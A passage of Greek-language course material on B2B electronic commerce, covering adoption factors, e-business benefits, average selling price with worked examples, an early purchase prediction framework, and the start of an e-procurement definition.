επιχειρηματίες να το αποφεύγουν. Οι Β2Β Συναλλαγές σαν Λύση για τις Επιχειρήσεις Από την άλλη πλευρά όμως υπάρχουν και ορισμένοι παράγοντες που κάνουν τις Β2Β ηλεκτρονικές αγορές να είναι στην ουσία μια λύση για κάποιες επιχειρήσεις ορισμένων κλάδων. Τέτοιες περιπτώσεις είναι κλάδοι που έχουν μεγάλο αριθμό αγοραστών, πωλητών, μεσαζόντων και διανομών με αποτέλεσμα να έχουν πολύ υψηλό κόστος για τα τελικά προϊόντα. Επίσης κλάδοι που τα προϊόντα τους είχαν μικρό περιθώριο κέρδους αλλά κ κλάδοι βαριάς βιομηχανίας όπως αυτοκινητοβιομηχανίας που ήθελαν να μειώσουν το κόστος των εμπορικών συναλλαγών τους, αλλά κ κλάδοι με αναλώσιμα προϊόντα όπου έπρεπε να φύγουν γρήγορα από την αγορά. Αλλαγές στις Επιχειρήσεις με την είσοδό τους στο Ηλεκτρονικό Εμπόριο Ο μετασχηματισμός αυτός οδηγεί τις επιχειρήσεις να μάθουν υποχρεωτικά τις νέες τεχνολογίες και να προσαρμοστούν σ αυτές και επίσης τους ανοίγεται ένας νέος δρόμος και τους δίνεται η δυνατότητα να χρησιμοποιούν και να πειραματίζονται σε πρώτη φάση, και στη συνέχεια να παράγουν νέα προϊόντα και υπηρεσίες αλλά και να χρησιμοποιούν νέες διαδικασίες. Αλλαγές επίσης θα υπάρξουν στις σχέσεις τόσο με τους προμηθευτές όσο και με τις άλλες επιχειρήσεις που συνεργάζεται η εταιρία. Αυτό συμβαίνει γιατί πλέον η επικοινωνία αλλά και η ανταλλαγή πληροφοριών, καθώς επίσης και η συλλογή στοιχείων για τις προτιμήσεις και τη συμπεριφορά των πελατών της θα είναι πιο άμεση και πιο συχνή απ’ ότι παλιότερα και αυτό θα έχει ως αποτέλεσμα τη βελτίωση των σχέσεων και της συνεργασίας τους. Αυτό σημαίνει ότι οι πελάτες σταματάνε πλέον να συμβιβάζονται με αυτά που διαθέτει η επιχείρηση , αλλά μπορούν πλέον και ρωτούν μέσω διαδικτύου και να ενημερώνουν τις επιχειρήσεις για τις διάφορες αλλαγές στις προτιμήσεις τους και με αυτόν τον τρόπο οι επιχειρήσεις προσαρμόζουν την παραγωγή αλλά και τα αποθέματά τους στις

διάφορες ανάγκες των πελατών τους. Με την επικοινωνία να είναι πλέον συχνότερη και πιο εύκολη, θα είναι επίσης πιο εύκολη και η ανταλλαγή πληροφοριών από επιχείρηση σε επιχείρηση αλλά και η επεξεργασία τους. Αυτό θα βοηθήσει πολύ στην καλύτερη παραγωγή προϊόντων και παροχή υπηρεσιών γιατί έτσι θα είναι πιο κοντά στις ανάγκες των πελατών της πλέον μετασχηματισμένης εταιρίας. Η επιχειρήσεις-πελάτες θα μπορούν με λίγα λόγια να λένε τη γνώμη τους για τα προϊόντα ακόμα και πριν παραχθούν για την βελτίωσή τους ώστε στο τέλος να είναι ικανοποιημένες και να υπάρξει καλή συνεργασία. Χαρακτηριστικό παράδειγμα συνεργασίας στην Ελλάδα, ήταν αυτό των τριών μεγάλων ελληνικών εταιριών στον κλάδο των κατασκευών, του «Άκτωρ Ελληνική Τεχνοδομική ΤΕΒ, της Γεκ Τέρνα και της J&P Άβαξ Ε.Τ.Ε.Θ., όπου το Μάιο του 2002 ίδρυσαν την Β2Β Construct, μία Β2Β ηλεκτρονική αγορά η οποία ξεκίνησε τη λειτουργία της τον Ιανουάριο του 2003, με σκοπό να μπορέσουν να πετύχουν καλύτερους διαπραγματευτικούς όρους στις συναλλαγές τους, τόσο για τις ίδιες όσο και για τις υπόλοιπες επιχειρήσειςαγοραστές του κλάδου τους. Η επιτυχία της συνεργασίας αυτής ήταν άμεση.

ΠΑΡΑΓΟΝΤΕΣ ΕΠΙ∆ΡΑΣΗΣ Β2Β ∆ΡΑΣΤΗΡΙΟΤΗΤΩΝ Σε κάθε επιχείρηση υπάρχουν ορισμένοι παράγοντες, είτε από το εσωτερικό είτε από το εξωτερικό της περιβάλλον, που επηρεάζουν την λειτουργία της. Έτσι και με τις Β2Β δραστηριότητες υπάρχουν παράγοντες εσωτερικοί και εξωτερικοί που μπορεί να τις επηρεάζουν με διάφορους τρόπους. Εσωτερικοί παράγοντες Πολλές φορές υπάρχουν λόγοι από το εσωτερικό περιβάλλον της επιχείρησης που μπορούν να επηρεάσουν το βαθμό χρήσης των Β2Β συναλλαγών της, του οποίους μπορούμε να τους χωρίσουμε στις εξής κατηγορίες : •

Στην Οργάνωση και Ηλεκτρονική Ετοιμότητα, που έχει να κάνει με την απόκτηση και την εγκατάσταση του κατάλληλου τεχνολογικού εξοπλισμού από την πλευρά της επιχείρησης, που θα της παρέχει σωστές και αποτελεσματικές υπηρεσίες, όπως π.χ. ηλεκτρονικούς υπολογιστές, προγράμματα εφαρμογών κτλ.

•

Στην ∆ιάθεση Κονδυλίων, που ως συνέχεια του παραπάνω παράγοντα, αφορά τα χρηματικά ποσά που δαπανά η επιχείρηση ώστε να μπορεί να εκπαιδεύσει τους εργαζόμενους για να έχει ένα ανθρώπινο δυναμικό κατάλληλα καταρτισμένο με τις απαραίτητες γνώσεις που χρειάζονται που θα μπορεί να κάνει σωστή και

αποτελεσματική χρήση του τεχνολογικού εξοπλισμού που απαιτείται για τις συναλλαγές. Τα ποσά αυτά είναι πολλές φορές μεγάλα και ορισμένες επιχειρήσεις δεν κάνουν αυτό το βήμα λόγω του κόστους και λόγω του ότι πιστεύουν πως χάνοντας χρόνο σε τέτοιους είδους εκπαιδεύσεις μένουν πίσω στο ανταγωνιστικό κομμάτι σχετικά με άλλες επιχειρήσεις. •

Στην Στρατηγική της Ανώτατης ∆ιοίκησης, στις αποφάσεις δηλαδή των ανώτατων στελεχών για το ποια στρατηγική θα ακολουθήσει η επιχείρηση. Αυτό σημαίνει με απλά λόγια αν θα δώσουν βαρύτητα στην τεχνολογία και την πληροφορική ώστε να ενισχύσουν κατά κάποιο τρόπο τις συναλλαγές Β2Β, ή αν θα θέλουν να δώσουν βάση σε κάποια άλλη λειτουργία της επιχείρησης.

•

Στα Χαρακτηριστικά και στη Ζήτηση των Προϊόντων, που έχει να κάνει με το γεγονός ότι το ενδιαφέρον και οι προτιμήσεις των προϊόντων αλλάζει για κάθε επιχείρηση, με αποτέλεσμα οι ηλεκτρονικές αγορές να δίνουν βάση και να επικεντρώνονται στα διαφορετικά χαρακτηριστικά του κάθε προϊόντος, τόσο στις κάθετες όσο και στις οριζόντιες αγορές. Έτσι κάθε αγορά μπορεί να σημαίνει ευκολία συναλλαγών για μία επιχείρηση ενώ μπορεί να σημαίνει εμπόδιο και δυσκολία για μία άλλη. Τέλος αφορά τη ζήτηση των προϊόντων για αγορές ή πωλήσεις, και το γεγονός ότι αυτή αλλάζει κάθε φορά για μία επιχείρηση, με αποτέλεσμα να μην είναι εύκολες οι μελλοντικές προβλέψεις για αγοραπωλησίες, τόσο σε επίπεδο συχνότητας όσο και σε επίπεδο όγκου συναλλαγών.

Εξωτερικοί Παράγοντες Εκτός των εσωτερικών παραγόντων, υπάρχουν και αυτοί που προέρχονται από το εξωτερικό περιβάλλον της επιχείρησης οι οποίοι μπορούν επίσης να την επηρεάσουν όσον αφορά τη χρήση των Β2Β συναλλαγών, οι οποίοι είναι οι εξής: •

Η Επίδραση της Πολιτείας, που είναι ένας πολύ σημαντικός παράγοντας που μπορεί να επηρεάσει σε μεγάλο βαθμό μια επιχείρηση όσον αφορά το ηλεκτρονικό εμπόριό της. Αυτό έχει να κάνει με την στρατηγική που ακολουθεί το κράτος σε αυτό το είδος εμπορίου, αν δηλαδή το υποστηρίζει ή όχι.

•

Η πολιτεία μπορεί να επηρεάσει θετικά τις Β2Β συναλλαγές με διάφορους τρόπους, όπως θεσπίζοντας κάποιο ανάλογο νομοσχέδιο, παρέχοντας οικονομική υποστήριξη και κίνητρα στις ενδιαφερόμενες επιχειρήσεις, αλλά και ακολουθώντας και η ίδια τα βήματα για ηλεκτρονικές συναλλαγές με το κατάλληλο προσωπικό.

•

Η Επίδραση των Συνεργατών, είναι επίσης ένας πολύ σημαντικός παράγοντας ώστε η επιχείρηση να ασχοληθεί με το ηλεκτρονικό εμπόριο ή όχι, όπου στις περισσότερες περιπτώσεις έχουν θετική επίδραση.

•

Η επίδραση αυτή όμως εξαρτάται και από τις σχέσεις της εταιρίας με του συνεργάτες της, και πιο συγκεκριμένα σε τι βαθμό εξαρτάται η επιχείρηση από αυτούς, το πόσο δυνατή είναι στις διαπραγματεύσεις της μαζί τους και τέλος το πόσο πολύ την πιέζουν οι συνεργάτες της.

•

Η Επίδραση των Ανταγωνιστών, ο οποίος είναι και ένας από τους σημαντικότερους παράγοντες που επηρεάζουν τις επιχειρήσεις και τις κάνουν να ασχοληθούν με το ηλεκτρονικό εμπόριο ως λύση.

•

Ο παράγοντας των ανταγωνιστών είναι κ αυτός ένας θετικός παράγοντας αφού εξαιτίας του πολλές επιχειρήσεις ασχολούνται με την τεχνολογία και την πληροφορική για εμπορικούς λόγους προσπαθώντας να αποκτήσουν ανταγωνιστικό πλεονέκτημα στην αγορά, με αποτέλεσμα την ανάπτυξη τόσο των επιχειρήσεων όσο και των ίδιων των αγορών.

Οφέλη ηλεκτρονικής επιχειρηματικότητας Το ηλεκτρονικό εμπόριο είναι μια αρκετά διαφορετική επιχειρηματική δραστηριότητα από το παραδοσιακό εμπόριο με την φυσική παρουσία των καταστημάτων, γιατί περιλαμβάνει διαφορετικά χαρακτηριστικά, στα οποία πρέπει να δοθεί έμφαση. Μια επιχείρηση που θέλει να δραστηριοποιηθεί διαδικτυακά, θα πρέπει να σκεφτεί πολλές παραμέτρους, για να δει αν την συμφέρει να επενδύσει σε μια τέτοιας μορφής δραστηριότητας. Το μοντέλο της ηλεκτρονικής επιχειρηματικότητας δημιουργεί αξία στους καταναλωτές, παρέχοντας ένα συνδυασμό πολλών ωφελειών: •

Διευκόλυνση στην αγορά

•

Άνεση και ευελιξία

•

Ταχύτητα και άμεση ανταπόκριση

•

Διευκόλυνση στην λήψη αποφάσεων

•

Μεγάλη ποικιλία προϊόντων

•

Εκπτωτική πολιτική και μειωμένες τιμές πώλησης

•

Αξιοπιστία

•

Δημιουργία διαφορετικών σχέσεων με τις επιχειρήσεις και με τους πελάτες.

•

Δυνατότητα πραγματοποίησης αγορών 24 ώρες, 7 μέρες την εβδομάδα, γεγονός που συνεπάγεται πολύ πιο εύκολη εξυπηρέτηση

•

Ποιοτικότερη και καλύτερη πληροφόρηση των προϊόντων και υπηρεσιών προς τους πελάτες μέσα από την συμμετοχή στην εικονική κοινότητες της εταιρείας

•

Παραγωγή προσωποποιημένων προϊόντων με βάση τις εξατομικευμένες ανάγκες του εκάστοτε πελάτη

•

Δίνεται η δυνατότητα έντονης συμμετοχής του πελάτη στην τελική παροχή της υπηρεσίας που θέλει, γεγονός που επηρεάζει την ποιότητα της εξυπηρέτησης και της τελικής παροχής είτε θετικά είτε αρνητικά ανάλογα με τις δυνατότητες και την διάθεση του πελάτη – συμπαραγωγού

•

Δυνατότητα αναζήτησης των πραγμάτων που θέλει να αγοράσει, συγκρίνοντας διάφορα προϊόντα και λήψη απόφασης σε πολύ λίγα δευτερόλεπτα και χωρίς ιδιαίτερο κόπο και σπατάλη χρόνου

•

Ευκολία πλοήγησης στην σελίδα και αναζήτησης όλων των προϊόντων, εξαιτίας της απλότητας της και της γρήγορης «φόρτωσης» της

•

Δυνατότητα επαφής με άλλους καταναλωτές μέσα από την εικονική κοινότητα με σκοπό την ανταλλαγή ιδεών και εμπειριών

•

Ευχέρεια και ευκολία πληρωμής με διάφορους τρόπους και δυνατότητα επιλογής από τον πελάτη του επιθυμητού τρόπου πληρωμής

•

Διατήρηση της ανωνυμίας, αφού ο πελάτης δεν έρχεται σε επαφή με κάποιο φυσικό πρόσωπο, αλλά μόνο με το εικονικό περιβάλλον

•

Η αγορά είναι παγκόσμια και μπορεί ο πελάτης να αγοράσει οτιδήποτε θέλει ακόμα και αν δεν κυκλοφορεί στην χώρα του.

•

Χρήση εξελιγμένων υπολογιστικών συστημάτων

Από τα παραπάνω πλεονεκτήματα, φαίνεται ότι η ηλεκτρονική επιχειρηματικότητα έχει ένα μεγάλο αριθμό εφαρμογών που ποικίλουν από άποψη πολυπλοκότητας και θα μπορούσε να οριστεί ως η χρήση του διαδικτύου και κάθε άλλου ηλεκτρονικού μέσου για την πραγματοποίηση συναλλαγών ή την υποστήριξη των επιχειρησιακών διαδικασιών, την βελτίωση των ευκαιριών συνεργασίας με άλλες επιχειρήσεις ή πελάτες. Παράλληλα αποδεικνύεται ότι μπορεί να επιφέρει πολλά οφέλη σε κάθε τομέα της επιχειρηματικότητας από τη στιγμή της γέννησης της ιδέας μέχρι την διανομή στον τελικό καταναλωτή.

Εκπαιδευτική Υποενότητα 3.3 Περιγραφή Βασικών Αρχών Συστημάτων Ηλεκτρονικού Εμπορίου Κατηγορίας Β2Β σε επίπεδο σχεδιασμού Average Selling Price (ASP)

Η average selling price (ASP) είναι ένας όρος που αναφέρεται στην τιμή στην οποία πωλείται ένα αγαθό ή μια υπηρεσία. Όπως υποδηλώνει το όνομά της, πρόκειται για μια μέση τιμή. Εάν μια εταιρεία πωλεί εκατοντάδες χιλιάδες κινητά τηλέφωνα κάθε χρόνο σε διαφορετικές τιμές, υπολογίζετε την ASP παίρνοντας τα συνολικά έσοδα από τις πωλήσεις κινητών τηλεφώνων και διαιρώντας το ποσό αυτό με τον συνολικό αριθμό των πωληθέντων μονάδων. Η μέση τιμή πώλησης μπορεί να χρησιμοποιηθεί ως σημείο αναφοράς με διάφορους τρόπους. Οι εταιρείες που εισέρχονται σε μια νέα αγορά μπορούν να εξετάσουν την ASP ενός αγαθού ή μιας υπηρεσίας για να τοποθετηθούν όταν θα φέρουν το προϊόν τους στην αγορά. Οι εταιρείες συχνά αναφέρουν τις ASP τους κατά τη διάρκεια των τριμηνιαίων κλήσεων για κέρδη. Οι αναλυτές και οι επενδυτές εξετάζουν την τάση της μέσης τιμής πώλησης μιας εταιρείας και εξάγουν συμπεράσματα από αυτήν. Η τιμή ενός προϊόντος εξαρτάται από τον τύπο του προϊόντος και από το σημείο στο οποίο βρίσκεται το προϊόν στον κύκλο παραγωγής του. Καθώς ένα προϊόν γερνάει και καθίσταται παρωχημένο, η μέση τιμή πώλησης συχνά μειώνεται. Άλλες ονομασίες για τη μέση τιμή πώλησης περιλαμβάνουν τη "μέση αξία παραγγελίας", η οποία συναντάται συνήθως στο ηλεκτρονικό εμπόριο. Στον κλάδο της φιλοξενίας, μια παρόμοια μέτρηση που ονομάζεται "μέση ημερήσια τιμή" δείχνει τη μέση τιμή που θα πληρώσουν οι πελάτες για μια ημέρα διαμονής στις ιδιοκτησίες τους.

Χρήση της Average Selling Price Για επιχειρήσεις 1. Στρατηγική εισόδου Οι εταιρείες που εισέρχονται σε μια νέα αγορά μπορούν να χρησιμοποιήσουν τη μέση τιμή πώλησης για να δημιουργήσουν τη στρατηγική τους σχετικά με το πώς θέλουν να τοποθετηθούν. Φανταστείτε ότι μια εταιρεία επιθυμεί να αρχίσει να κατασκευάζει ανδρικά γυαλιά ηλίου. Όταν εξετάζει την αγορά, βλέπει ότι η ASP των γυαλιών ηλίου είναι 65 δολάρια. Η επιχείρηση μπορεί να αποφασίσει να ορίσει την τιμή της στα 100 δολάρια για να τοποθετηθεί ως premium λιανοπωλητής. Μπορεί να ορίσει την τιμή στα 50 δολάρια για να είναι λιανοπωλητής αξίας ή να έρθει με τιμή ίση με αυτή της αγοράς. Εξαρτάται από το ποια πιστεύει η επιχείρηση ότι είναι η καλύτερη και πιο επικερδής οδός. Η είσοδος σε χαμηλότερη τιμή πώλησης μπορεί να οδηγήσει σε στενά περιθώρια κέρδους. Η είσοδος σε τιμή υψηλής

τιμής μπορεί να οδηγήσει σε υψηλότερα περιθώρια κέρδους, αλλά σε χαμηλότερους αριθμούς πωλήσεων. 2. Τάσεις και λήψη αποφάσεων Για τις εταιρείες που δραστηριοποιούνται σήμερα στην αγορά με ένα συγκεκριμένο προϊόν ή υπηρεσία, μπορούν να χρησιμοποιήσουν τη μέση τιμή πώλησης για να εντοπίσουν τις τάσεις και να λάβουν αποφάσεις. Εάν μια εταιρεία ειδικεύεται στις χρηματοοικονομικές υπηρεσίες και βλέπει τη μέση τιμή πώλησης μιας συγκεκριμένης υπηρεσίας να πέφτει με την πάροδο του χρόνου, αυτό μπορεί να αποτελεί ένδειξη ότι η αγορά για την εν λόγω υπηρεσία στερεύει. Η ζήτηση μειώνεται και η εταιρεία πρέπει να αποχωρήσει από την αγορά. Μια αυξανόμενη ASP δεν είναι πάντα κάτι θετικό, και μια μειούμενη ASP δεν είναι πάντα κάτι αρνητικό. Για παράδειγμα, μια εταιρεία πωλεί αρχικά κονσόλες βιντεοπαιχνιδιών προς 400 δολάρια ανά μονάδα και πουλάει 100.000 μονάδες τον πρώτο χρόνο. Αυτό σημαίνει έσοδα 40.000.000 δολαρίων. Τον επόμενο χρόνο ρίχνει τη μέση τιμή πώλησης στα 300 δολάρια ανά μονάδα. Μια πτώση 25% μπορεί να ακούγεται τρομακτική, αλλά με την πτώση της τιμής, η εταιρεία κατέληξε να πουλήσει 200.000 το δεύτερο έτος για έσοδα 60.000.000 δολάρια. Τα έσοδα αυξήθηκαν κατά 50% παρόλο που η τιμή πώλησης μειώθηκε. Η μείωση των τιμών για την επίτευξη μεγαλύτερου όγκου πωλήσεων είναι ένας συμβιβασμός που οι επιχειρήσεις είναι πρόθυμες να κάνουν. Λειτουργεί και προς την αντίθετη κατεύθυνση. Ένας αυξανόμενος ASP θα φτάσει τελικά σε ένα σημείο όπου κάθε αύξηση της τιμής μειώνει τον όγκο των πωλήσεων, καθιστώντας τελικά επιζήμια την περαιτέρω αύξηση των τιμών.

Για επενδυτές και αναλυτές 1. Εξαγωγή συμπερασμάτων

Η επενδυτική κοινότητα θα αναλύσει τη μέση τιμή πώλησης για να προσπαθήσει να βγάλει συμπεράσματα για ένα προϊόν ή μια υπηρεσία, μια επιχείρηση ή μια αγορά. Πάρτε ως παράδειγμα την GoPro. Η επιχείρηση της GoPro περιστρέφεται κυρίως γύρω από μία συσκευή - τις κάμερες δράσης. Όταν μια εταιρεία βασίζεται κυρίως σε ένα προϊόν, η επενδυτική κοινότητα θα παρακολουθεί τη μέση τιμή πώλησης του εν λόγω προϊόντος. Μια πτώση της τιμής μπορεί να υποδηλώνει

αύξηση του ανταγωνισμού, μείωση της τιμολογιακής δύναμης έναντι των πελατών τους ή μείωση της ζήτησης, η οποία μπορεί να οδηγήσει σε αποτυχία. Όπως αναφέραμε παραπάνω, η πτώση της μέσης τιμής πώλησης δεν είναι κακή, εάν συνοδεύεται από αύξηση του όγκου πωλήσεων. Εάν η ASP της GoPro για τις κάμερές της έπεφτε σε τιμή χωρίς να αυξάνονται οι πωλούμενες μονάδες, αυτό θα ήταν ανησυχητικό. Ας εξετάσουμε τώρα την ASP για τον κλάδο της φιλοξενίας. Το ισοδύναμο της ASP στη φιλοξενία είναι η ADR (μέση ημερήσια τιμή). Η μέση ημερήσια τιμή στο Las Vegas Strip είναι περίπου 160 δολάρια. Η ADR τείνει να αυξάνεται κατά τους μήνες αιχμής των ταξιδιών, όταν η ζήτηση είναι υψηλή, και να μειώνεται κατά την εκτός εποχής περίοδο. Οι αναλυτές στη βιομηχανία τυχερών παιχνιδιών καζίνο παρακολουθούν την ADR για να λάβουν μια εκτίμηση της βιομηχανίας καζίνο/φιλοξενίας και των υποκείμενων οικονομικών παραγόντων. Μια ασυνήθιστη αύξηση της ADR θα μπορούσε να υποδηλώνει αύξηση της ζήτησης. Εάν η ζήτηση αυξάνεται για δωμάτια, θα μπορούσε να συμπεράνει ότι τα έσοδα θα αυξηθούν στα άλλα επιχειρηματικά τμήματα για τα καζίνο.

Early Purchase Prediction (EPP) Το μερίδιο αγοράς των ηλεκτρονικών πωλήσεων αυξάνεται ραγδαία τις τελευταίες τρεις δεκαετίες. Το 2018, για πρώτη φορά, το ποσό των συνολικών διαδικτυακών πωλήσεων είχε ξεπεράσει τις πωλήσεις σε καταστήματα στις ΗΠΑ. Επιπλέον, η Google και το Facebook απέφεραν 116,3 και 55,8 δισεκατομμύρια δολάρια ΗΠΑ, αντίστοιχα, μόνο από την online διαφήμιση. Σε αντίθεση με τις πωλήσεις στα καταστήματα, το ψηφιακό μάρκετινγκ και οι διαδικτυακές πωλήσεις δημιουργούν μεγάλα και πολύτιμα δεδομένα σχετικά με τα προϊόντα, την πρόθεση και τη συμπεριφορά των καταναλωτών (από πού προέρχονται οι καταναλωτές, ποιες συσκευές χρησιμοποιούν, ποια αντικείμενα αγοράζουν ή βλέπουν και για πόσο καιρό, πώς ανταποκρίνονται οι αγοραστές στις διαφημίσεις και τα μηνύματα ηλεκτρονικού ταχυδρομείου του ψηφιακού μάρκετινγκ και πολλά άλλα, τα οποία δεν ήταν διαθέσιμα για τις επιχειρήσεις πριν. Ο κλάδος του ηλεκτρονικού εμπορίου κινείται με ταχείς ρυθμούς προς την κατεύθυνση των στοχευμένων εξατομικευμένων διαφημίσεων. Πρόσφατες μελέτες δείχνουν ότι η προσφορά σε όλους τους δυνητικούς καταναλωτές γενικών συστάσεων στοιχείων έχει αποδειχθεί αναποτελεσματική στρατηγική. Ένα από τα κύρια ζητήματα στις διαδικτυακές πωλήσεις είναι η μετατροπή των καταναλωτών- ο αριθμός των διαδικτυακών συνόδων (δηλαδή της επίσκεψης του χρήστη σε έναν ιστότοπο) που καταλήγουν σε αγορά είναι αμελητέος σε σύγκριση με τον συνολικό αριθμό των συνόδων/επισκέψεων. Ένας σημαντικός αριθμός από

αυτές τις εγκαταλελειμμένες συνεδρίες οφείλεται στην έλλειψη πρόθεσης αγοράς από τους καταναλωτές, πράγμα που σημαίνει ότι δεν υπάρχει σχεδόν καμία πιθανότητα μετατροπήςεπομένως, καθιστώντας τις στρατηγικές μάρκετινγκ αναποτελεσματικές. Αντίθετα, ένας σημαντικός αριθμός εγκαταλελειμμένων συνόδων προέρχεται από χρήστες που παρουσιάζουν ισχυρή πρόθεση αγοράς. Η έλλειψη αγοράς, στην περίπτωση αυτή, μπορεί να οφείλεται σε λόγους όπως η έλλειψη προσφορών ή η αδυναμία σωστής ερμηνείας της συμπεριφοράς των χρηστών. Για τους καταναλωτές με ισχυρή πρόθεση αγοράς, οι εξατομικευμένες

στρατηγικές

μάρκετινγκ,

όπως

οι

στοχευμένες

εκπτώσεις,

οι

εξατομικευμένες συστάσεις, οι στοχευμένες διαφημίσεις και τα μηνύματα ηλεκτρονικού ταχυδρομείου παρακολούθησης θα μπορούσαν να είναι πολύ αποτελεσματικές. Επιπλέον, εκτός από τη δυνατότητα αύξησης του ποσοστού μετατροπής, ο σωστός εντοπισμός και η σωστή στόχευση των καταναλωτών με ισχυρή πρόθεση αγοράς θα μπορούσε να οδηγήσει σε αύξηση των πωλήσεων. Υπάρχει αυξανόμενο ενδιαφέρον για την ανάπτυξη διαφόρων μοντέλων πρόβλεψης αγοράς. Όχι μόνο στο διαδίκτυο, αλλά και σε φυσικά περιβάλλοντα (τυποποιημένα καταστήματα). Οι Kim et al. (2020) ανέπτυξαν ένα πλαίσιο για την πρόβλεψη της αγοραστικής συμπεριφοράς σε πραγματικό χρόνο από τη φυσική κίνηση των χρηστών (αγοραστών) σε περιβάλλον καταστήματος. Χρησιμοποίησαν αισθητήρες κάμερας και αλγόριθμους ανίχνευσης αντικειμένων για την αναγνώριση της αγοραστικής δράσης. Ωστόσο, η ανάπτυξη τέτοιων συστημάτων είναι πολύ δαπανηρή και δύσκολη. Αντιθέτως, τα μοντέλα πρόβλεψης ηλεκτρονικών αγορών είναι αποτελεσματικά, εύκολα αναπτύσσονται και ενσωματώνονται στο σύστημα. Στη βιβλιογραφία τα τελευταία χρόνια έχουν προταθεί μέθοδοι πρόβλεψης αγορών. Ωστόσο, οι περισσότερες από αυτές τις μεθόδους είναι εκτός σύνδεσης και προσπαθούν να προβλέψουν την αγορά από ολοκληρωμένες συνεδρίες (αφού ο αγοραστής έχει εγκαταλείψει τον ιστότοπο), προκειμένου να καθορίσουν μια δράση παρακολούθησης. Αυτό καθιστά τις μεθόδους αυτές αναποτελεσματικές για την πρόβλεψη πρώιμης αγοράς ενώ μια συνεδρία βρίσκεται σε εξέλιξη.

Εξ όσων γνωρίζουμε, υπάρχει έλλειψη μελετών στη βιβλιογραφία που να προτείνουν μεθόδους για την πρόβλεψη πρώιμης αγοράς. Η έλλειψη αυτή θα μπορούσε να περιορίσει την εφαρμογή εξατομικευμένων στρατηγικών μάρκετινγκ, οι οποίες με τη σειρά τους θα μπορούσαν να οδηγήσουν στην απώλεια πιθανών πωλήσεων από χρήστες με υψηλή πρόθεση αγοράς. Στην παρούσα εργασία, καλύπτουμε αυτό το κενό αναπτύσσοντας ένα νέο πλαίσιο για την πρόβλεψη της πρόθεσης πρόωρης αγοράς (EPP). Σχεδιάζουμε ένα πλαίσιο

EPP που θα μπορούσε να επιτρέψει την εξατομίκευση του περιεχομένου και την παροχή προσφορών σε πραγματικό χρόνο. Το προτεινόμενο πλαίσιο EPP βοηθάει στην πρόβλεψη πρόθεσης αγοράς νωρίς, αναλύοντας τα χαρακτηριστικά της συμπεριφοράς των ηλεκτρονικών αγορών των καταναλωτών σε έναν ιστότοπο ηλεκτρονικού εμπορίου και εξάγοντας κρυμμένα χαρακτηριστικά σε πραγματικό χρόνο. Αυτά τα χαρακτηριστικά θα μπορούσαν να διευκολύνουν την παροχή έξυπνων εξατομικευμένων στρατηγικών μάρκετινγκ που θα μπορούσαν να αυξήσουν τις πωλήσεις, να βελτιώσουν την εμπειρία και τη διατήρηση των καταναλωτών. Η εργασία παρακινείται από τα ακόλουθα ερωτήματα. 1. Δεδομένων των δεδομένων συνεδρίας μετά την πρώτη αλληλεπίδραση ενός χρήστη, πόσο χρήσιμα μπορούν να είναι τα μοντέλα μηχανικής μάθησης (ML) στην πρόβλεψη της πιθανότητας αγοράς σε μια τρέχουσα συνεδρία. 2. Ποιο είναι το πιο κρίσιμο χαρακτηριστικό συνεδρίασης για την πρόβλεψη πρώιμης αγοράς και πώς μπορεί να προσδιοριστεί; 3. Πώς μπορούν να αξιολογηθούν τα μοντέλα ML για να μετρηθεί η απόδοσή τους στην πρόβλεψη πρώιμης αγοράς; Προκειμένου να κατανοήσουμε και να απαντήσουμε σε αυτά τα ερωτήματα, προτείνουμε και αναπτύσσουμε ένα πλαίσιο πρόβλεψης πρώιμης αγοράς (EPP).Ορίζουμε ως "πρώιμη" σε αυτό το πλαίσιο την ουσιαστική ένδειξη αγοράς σε μια συνεδρία μεταξύ της πρώτης αλληλεπίδρασης με το αντικείμενο και της τελευταίας ενέργειας αγοράς. Αναπτύσσουμε μια βαθμολογία χρησιμότητας πρόβλεψης πρώιμης αγοράς, όπου στοχεύουμε στην αξιολόγηση της απόδοσης των μοντέλων ML στην πρόβλεψη πρώιμης αγοράς. Η παρούσα εργασία μπορεί να θεωρηθεί ως επέκταση των Mokryn κ.ά. (2019) και Martínez κ.ά. (2020), όπου αναλύεται η επίδραση των χρονικών χαρακτηριστικών και της τάσης του προϊόντος στην πρόβλεψη αγοράς μετά το τέλος των συνόδων, και των Lo κ.ά. (2016), οι οποίοι διερεύνησαν πώς οι ενέργειες ενός εγγεγραμμένου χρήστη μπορούν να δημιουργήσουν πρόθεση αγοράς μακροπρόθεσμα. Ωστόσο, η εργασία μας επικεντρώνεται κυρίως στην ανίχνευση της πρόθεσης αγοράς των χρηστών σε πραγματικό χρόνο.

Οι κύριες συνεισφορές μας συνοψίζονται ως εξής: 1. Σχεδιάζουμε ένα πλαίσιο για την έγκαιρη πρόβλεψη της πρόθεσης αγοράς των χρηστών, το οποίο θα μπορούσε να επιτρέψει την εξατομίκευση του περιεχομένου και την παροχή προσφορών σε πραγματικό χρόνο και να βελτιώσει τη διατήρηση των καταναλωτών.

2. Προτείνουμε μια μέθοδο βαθμολόγησης χρησιμότητας προκειμένου να μετρήσουμε πώς τα μοντέλα ML μπορούν να προβλέψουν την πρόθεση αγοράς πριν από την πραγματοποίηση της αγοράς. 3. Το πλαίσιο που αναπτύχθηκε προτείνει μια μέθοδο για την εξαγωγή δυναμικών χαρακτηριστικών από τα αρχεία καταγραφής συνεδριών. 4. Παρουσιάζεται μια σειρά υπολογιστικών πειραμάτων που συγκρίνουν τις επιδόσεις των μοντέλων ML στην πρόβλεψη της πρόθεσης αγοράς σε πρώιμο στάδιο. 5. Παρουσιάζεται μια λεπτομερής αξιολόγηση του προτεινόμενου πλαισίου EPP σε ένα σύνολο δεδομένων ηλεκτρονικού εμπορίου του πραγματικού κόσμου.

Το Ε-procurement Οι ηλεκτρονικές προμήθειες (ηλεκτρονικές προμήθειες, μερικές φορές γνωστές και ως ανταλλαγή προμηθευτών) είναι η αγορά και πώληση προμηθειών, εργασιών και υπηρεσιών μεταξύ επιχειρήσεων ή μεταξύ επιχειρήσεων και καταναλωτών ή μεταξύ επιχειρήσεων και κυβερνήσεων μέσω του Διαδικτύου, καθώς και άλλων συστημάτων πληροφοριών και δικτύωσης, όπως η ηλεκτρονική ανταλλαγή δεδομένων και ο προγραμματισμός επιχειρησιακών πόρων Η αλυσίδα αξίας των ηλεκτρονικών προμηθειών αποτελείται από τη διαχείριση των εντύπων, την ηλεκτρονική ενημέρωση, τον ηλεκτρονικό διαγωνισμό, τον ηλεκτρονικό πλειστηριασμό, τη διαχείριση των προμηθευτών, τη διαχείριση καταλόγων, την ενσωμάτωση της παραγγελίας, την κατάσταση παραγγελίας, την ειδοποίηση αποστολής, την ηλεκτρονική τιμολόγηση, την ηλεκτρονική πληρωμή και τη διαχείριση 